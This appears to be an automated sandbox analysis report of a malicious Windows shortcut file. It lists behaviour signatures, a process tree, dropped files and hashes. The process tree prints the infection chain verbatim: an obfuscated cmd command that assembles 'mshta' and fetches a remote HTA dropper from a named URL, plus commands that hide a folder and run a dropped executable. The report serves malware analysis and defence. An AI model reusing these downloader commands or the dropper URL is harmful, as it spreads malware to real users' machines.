Analysis

  • max time kernel
    16s
  • max time network
    191s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 17:15

General

  • Target
    DOC-MFIVVV.lnk
  • Size 1KB
  • Sample260708-vs2sgads6m
  • SHA256 eaf286124a6d759310a9321919a081026b637ec7f635d18ca4598ff00942cd74
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://geo-pdfiler.lat/h/estagio1.php?r=331061

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 32 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-MFIVVV.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /V:on /c "set fHjQ=msh&&set pVF=ta&&start "" !fHjQ!!pVF! https://geo-pdfiler.lat/h/estagio1.php?r=331061"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1892
      • C:\Windows\System32\mshta.exe
        mshta https://geo-pdfiler.lat/h/estagio1.php?r=331061
        3⤵
        • Badlisted process makes network request
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2980
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:5704
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:2060
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1568
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:4344
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2676
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:3808
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4696
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:2104
        • C:\Windows\System32\attrib.exe
          "C:\Windows\System32\attrib.exe" +h +s "C:\lcmjtumz\"
          4⤵
          • Views/modifies file attributes
          PID:2008
        • C:\lcmjtumz\lcmjtumz.exe
          "C:\lcmjtumz\lcmjtumz.exe" C:\lcmjtumz\lcmjtumz
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:2156
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:5440
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:1104
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
          4⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          PID:5948
          • C:\Windows\System32\PING.EXE
            ping -n 300 -w 1000 127.0.0.1
            5⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2764
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2316
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
          PID:5468
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
          PID:4700
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
            PID:4816

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                prep_Activatable Class_Hermes_perf.cache

                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                • Size 595B
                • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
                • MD5 SHA1 SHA512 TLSH

                a1.zip

                • Path C:\lcmjtumz\a1.zip
                • Size 494KB
                • SHA256 add6b84f6a8073b0c4c9c1cda7ff537c06c5fc70d4379b6f164a3204ce512be0
                • MD5 SHA1 SHA512 SSDEEP TLSH

                a2.zip

                • Path C:\lcmjtumz\a2.zip
                • Size 1.3MB
                • SHA256 3859e081c822dc5b6d7c485f69081992ae1d2fb81408452d3d1aca3a5b1cdc3b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                a3.zip

                • Path C:\lcmjtumz\a3.zip
                • Size 2KB
                • SHA256 ee58fb9555bc303cbb31f62c03d5117cb9b5794fdfbe27204eec8395913a61b5
                • MD5 SHA1 SHA512 TLSH

                lcmjtumz

                • Path C:\lcmjtumz\lcmjtumz
                • Size 1.3MB
                • SHA256 79c8e3e0e9fdec3eeb1baeae3466c9dd86f2a7d27227d80cd02627854f53fb03
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lcmjtumz.exe

                • Path C:\lcmjtumz\lcmjtumz.exe
                • Size 957KB
                • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/4700-168-0x000001BA81A00000-0x000001BA81A20000-memory.dmp

                memory/4700-150-0x000001BA81EE0000-0x000001BA81FE0000-memory.dmp

                memory/4700-119-0x000001BA801E0000-0x000001BA802E0000-memory.dmp

                memory/4700-118-0x000001BA801E0000-0x000001BA802E0000-memory.dmp

                memory/4700-117-0x000001BA801E0000-0x000001BA802E0000-memory.dmp

                memory/4700-149-0x000001BA81CC0000-0x000001BA81CE0000-memory.dmp

                memory/4700-182-0x000001BA946E0000-0x000001BA94700000-memory.dmp